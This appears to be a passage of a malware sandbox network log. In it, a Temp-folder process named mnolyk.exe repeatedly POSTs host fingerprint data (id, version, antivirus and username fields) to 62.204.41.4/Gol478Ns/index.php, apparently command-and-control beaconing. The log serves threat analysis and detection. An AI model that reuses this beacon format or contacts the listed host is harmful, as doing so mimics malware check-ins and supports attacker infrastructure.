Feb 6, 2023 14:17:02.870012999 CET	277	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.5	49767	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:03.053143978 CET	278	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:03.120043039 CET	278	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	49768	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:03.301034927 CET	279	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:03.366358995 CET	279	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.5	49769	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:03.541604042 CET	280	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:03.604628086 CET	280	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49698	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:30.576133013 CET	208	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:30.639316082 CET	209	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	49770	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:03.784821033 CET	281	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:03.849550009 CET	281	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.5	49771	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:04.019413948 CET	282	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:04.084112883 CET	282	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	49772	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:04.254513979 CET	283	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:04.319797039 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.5	49773	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:04.487845898 CET	284	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:04.551690102 CET	284	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	49774	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:04.719767094 CET	285	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:04.784183979 CET	285	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.5	49775	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:04.965034008 CET	286	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:05.031927109 CET	286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	49776	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:05.213337898 CET	287	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:05.276880980 CET	287	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.5	49777	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:05.460295916 CET	288	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:05.525388002 CET	288	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.5	49778	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:05.707869053 CET	289	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:05.772675037 CET	289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.5	49779	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:05.941637993 CET	290	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:06.007407904 CET	290	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49699	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:30.811357975 CET	209	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:30.874645948 CET	210	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.5	49780	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:06.175417900 CET	291	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:06.244282007 CET	291	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.5	49781	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:06.429229975 CET	292	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:06.494554043 CET	292	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.5	49782	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:06.679140091 CET	293	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:06.743294001 CET	293	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.5	49783	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:06.930392027 CET	294	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:06.997920990 CET	294	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.5	49784	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:07.177697897 CET	295	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:07.251141071 CET	295	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.5	49785	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:07.425626040 CET	296	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:07.490989923 CET	296	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.5	49786	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
